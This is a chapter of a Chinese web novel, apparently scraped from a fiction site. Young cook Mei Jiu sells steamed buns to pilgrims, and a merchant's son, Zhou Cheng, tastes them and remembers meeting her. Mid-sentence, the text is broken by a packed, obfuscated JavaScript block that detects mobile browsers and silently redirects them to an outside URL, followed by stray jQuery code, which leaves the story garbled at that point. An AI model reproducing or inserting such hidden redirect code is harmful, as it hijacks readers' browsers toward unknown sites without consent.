次日，梅玖依旧半夜便已在灶间忙活开了。
梅时听到响声，嘴里嚷嚷着非要陪阿姐，到底年纪小，说了没两声，小脑瓜便又沉进了枕头里。
梅玖见她睡熟了，轻手轻脚下床，去了灶房。
昨日那场“饥饿营销”纯属意外，今日她可是铆足了劲，馅料备得足足的，誓要让每一个顾客都能吃上包子。
她把肉素馅料混了，调味好，接着揉面，切面剂子，之后包包子，上锅……
虽工序繁多，好在她手艺娴熟，倒是有条不紊的。
等第一笼包子蒸上，天已经蒙蒙亮了。
人流渐渐多起来。
倒是有不少回头客，比如昨日那位一口气吃了四个，回头却扑了空的阿叔。
赵成胖乎乎的脸上顶着两个黑眼圈，笑吟吟地排在队首。
昨日回了家，那包子的香味便像在他脑子里生了根，盘桓不散，闹得他连午饭和暮食都吃得没滋没味。
家中老父一向教子严苛，见他捧着饭碗发呆，只当他又在外头胡吃海塞败了胃口，当即便板起脸来训斥了几句。
赵母当即不乐意了。
在当娘的眼里，自家儿子打小就乖巧懂事，长大后有出息又孝顺，偏这老头子总爱摆当爹的威风。
“儿子都多大的人了，你还这么逞威风，也不怕让儿媳妇笑话。”赵母瞪了丈夫一眼，又扭头问赵成，“你说的那包儿，真有那么好吃？”
赵成舔舔嘴唇：“好吃！笋干馅和荠菜馅，都是豕肉，吃起来都鲜香的很！”
赵老爷子“哼”了一声，不屑道：“你听他瞎编排，这东山县哪家馒头铺他没吃过？便是京里街头巷尾也让他尝了个遍，哪有什么笋干馅的！”
赵成张了张嘴，瞅了老爹一眼，到底没争辩。只拿筷子一下一下地戳着碗里的饭粒，心里那个委屈——只恨自己没抢到！
赵成想着那包子的味儿夜里翻来覆去睡不着，惹得媳妇一阵偷笑：“瞧你，让个肉馒头把魂都勾走了！”
赵成“哼唧”一声，干脆天不亮就起身往山前镇去了。
“小娘子，给我各装十个！不，每样来一笼屉！赵成大手一挥，一串铜板拍在案上。
一笼屉便是十五个包子。
梅玖被这大手笔吓了一跳，随即笑弯了眼：“好嘞！阿叔稍待，这刚出的头一笼，正热乎着呢！”
有这么一位豪客打头阵，铺子前的氛围顿时活络起来，排队的人纷纷伸长了脖子瞧着，生怕自己那份被人抢了去。
总算是才第二日营业，知道的人还不算多，梅玖应付得游刃有余。
待到近处的客人陆续散去，梅玖寻了个空子和梅时填饱肚子。远远地，瞧见官道上有几辆马车正“咯吱咯吱”地渐渐驶近。
马车边多少都跟着仆从婢子，衣着光鲜，一看便是非富即贵的人家。
看来这些都是远道而来的香客了。
梅玖赶紧起身，打起精神忙活第二波生意。
远处的香客队伍，此时正挤在一处，都朝着清风山的方向缓缓行进着。
一辆考究的马车上，周呈撩开车帘，东瞅西瞧。
周家在京中开着好几家糕饼铺子，算得上有头有脸的商户。可周呈这个家中幼子偏偏既不爱打理生意，也不爱读书上进，只痴迷烹饪一道，整日窝在后厨鼓捣吃食。
前几日他寻得一古方，特制了些鱼酢出来，偷偷跑到东山县的分店门口售卖，结果生意惨淡，竟还比不过旁边一个卖笋干的小丫头。
他偷偷摆摊售卖鱼酢的事儿被家中知晓，他爹把他好一顿训斥，关在家中好几日。
直到今日二月二，他爹才肯把他放出来，遣他到清风观拜神祈福，顺带捐些香火钱。
他在马车上百无聊赖坐了半晌，没想到临到山脚，竟还堵在官道上，只好掀帘透气。
车外的仆从见主子皱着眉探出头来，忙笑道：“阿郎，今儿是个大日子，人多些，您莫急，过了这一段便好了。”
周呈几不可闻地“嗯”了声，正想瞅一眼前头还有多远才到山脚，却不料一阵香味不知从何处飘了来，让他忍不住吸了吸鼻子。
仆从机灵得很，朝着自家阿郎看的方向抬抬脚瞅了两眼：“阿郎，前头好像是个卖朝食的铺子。您起得早，尚未用饭，待会儿还得爬山，可要先垫垫肚子？”
周呈本想摆手，可那香味着实勾人。鬼使神差地，他点了点头。
仆从得了令，一溜烟地去了。
过了好一阵子，直等好几辆马车从旁驶过，那小厮才气喘吁吁地跑回来，手里宝贝似的托着个油纸包。
“阿郎等急了吧？那户是卖馒头的，生意好得紧，奴排了好半天才买上，阿郎尝尝？”
原来是个卖馒头的。
周呈接过，却不由多看了一眼。
外头裹着素净的油纸，包得整整齐齐，掀开来，里头还有一层裁得方方正正的粗草纸。既隔热，又不脏手，倒不似乡野间的粗鄙吃食。
再看那包儿，褶子捏得匀称细致，收口处缀着一小块金黄的笋丁，白胖可爱。
他张嘴咬了一口。
鲜嫩的笋丁和肉丁，就着松软弹牙的热乎面皮，既不油腻，又层次分明，实在是妙！
尤其这笋竟不是鲜笋，而是笋干。
倒让他想起前几日集市，那卖笋干的小娘子来。
小娘子还送与他一筒酸笋……
那酸笋的滋味特别得很，是从未尝过的味道。
只可惜自己被关在府里，后来打听了，那小娘子再未去摆过摊。
周呈边想边吃，三两口吃完一个，犹觉不足，又去拿第二个。
自家阿郎从小锦衣玉食的，难得有吃食能入他的眼。车外小厮瞧着自家阿郎吃得尽兴，便知这朝食买进了他心里，凑趣道：
“奴排队时还见着好几家的贵人也遣了家奴来买呢，其中就有昭文馆谢学士府上的小厮！”
周呈只顿了片刻，倒没多吃惊。
昭文馆乃清贵之地，学士们日常教授生徒、参议朝礼，地位尊崇，行为举止也总是不同流俗。
可也有那么几位格格不入之辈。
比如这位谢弘易谢学士，先帝时进士出身，资历高，才学斐然，偏无心朝局，只爱走街串巷打牙祭，常出没于各种路边摊。
在小镇街摊买个包子，确实像是他的手笔。
何况这包子确实好吃。
不过说起来……自己不也是个不务正业的么？
周呈脸上笑意一顿，瞪了仆从一眼。
那仆从尚不知阿郎心思，只觉得自家阿郎真是个喜怒无常的，只好扭了头，催着车夫赶紧前行。
梅玖自然不知，前几日在集市上偶遇的那位鱼酢小哥，此
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17889134|212685||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
刻正坐在马车里，一边爬山一边回味她的包子。
她正忙着呢。
这个时辰，本地客人渐渐少了，取而代之的几乎全是从县里乃至京中赶来的香客。其中不乏衣着考究之人，更多的是替主人跑腿的小厮女使。
这些人可都是难伺候的主儿，伺候好了，给钱痛快；可要是因为怠慢招了眼，别人兴许动动手指就能把这小店给掀了。
梅玖不敢有丝毫疏忽。安抚后头着急的，应付前头催问的，笑脸挂在脸上就没下来过，手上更是片刻不停。
便是这般，她还不忘与那些食客热络两句。这边附和一句京中的最新八卦，那边逢迎一嘴贵府治家有方。
一直到晌午，香客们陆续都上了山，铺子前才总算清静下来。
梅玖直接累瘫在竹椅上，连抬手的力气都没了。
小梅时倒是精神抖擞，跑过来有模有样地给姐姐捶腿，小拳头一下一下的。
“乖，饿了不？咱们关门回家吃饭。”梅玖揉了揉梅时的小脑瓜。
小丫头醒了就缠着要帮忙，帮她添柴加水的，一上午没闲着。
梅玖心疼，塞给她包子让她先吃，她却只摇头，说“要卖钱钱”。
包子果真卖得一个不剩，连饮子也见底了。
歇了一阵，梅玖锁了外门，从内门折回院子里。
梅时早就饿坏了，小眼睛亮晶晶地盯着灶房方向，眨巴眨巴。
“啧啧，我们吃什么呀？”
“锅里炖了猪排。”梅玖说罢，自己也忍不住咽口水。
猪排是昨日买肉时顺手带的。
因为试营业的反响不错，梅玖去镇上刘屠户的肉摊订肉时多要了一倍的量。也因此有了谈价的资格。
经过她软磨硬泡说好话，最终敲定，二十斤以上，五花每斤可便宜一文，前后腿和里脊每两斤可便宜一文。
做馅的肉料挑完，梅玖见还剩几块肉多骨少的肋排，想着昨日进账不错，她心一横，让刘屠户便宜折给了她。
早上开门前，排骨已焯了水，加了酸笋和几味调料，用文火慢慢煨着。此刻一掀锅盖，浓香四溢，炖的正好呢。
她又将剩余的面剂子抹了油，抻成薄饼，贴在锅沿上做锅贴。上头再铺一把菘菜心，最后添把火，给排骨收了汁。
没一会儿，面香、肉香、酸笋的香，混作一团，弥漫了整个小院。
梅时也不去玩了，就蹲在灶房门口，小手托着腮，馋得直吸溜鼻子。
梅玖自己也等得心焦，眼见锅贴膨起来，焦边微微卷起，赶紧铲下来晾着。再切一把野葱花撒进排骨里，齐活！
“好吃呀！”梅时嘴巴塞得鼓鼓囊囊，眼睛眯成一条缝，“啧啧，你做的都好好吃呀！”
小梅时的捧场功力简直是天生的。厨子最爱的就是这种食客。
不过这排骨炖得确实不错！
软烂脱骨，脆骨嚼起来“咯吱”作响，肉汁里透着酸笋的鲜，酸而不抢味，反而把肉香衬得更浓。
不过最好吃的还得是那锅贴。原本就揉进了油，又在锅边吸饱了肉汁，一半软糯，一半焦脆，一口下去，两种口感在嘴里打架，简直绝了。
还真别说，饿极了的时候，这种热腾腾的炖菜最是抚慰人心。美味混着热气下肚，想不吃撑都难！
姐妹二人大快朵颐，将一锅排骨并锅贴吃了个干净。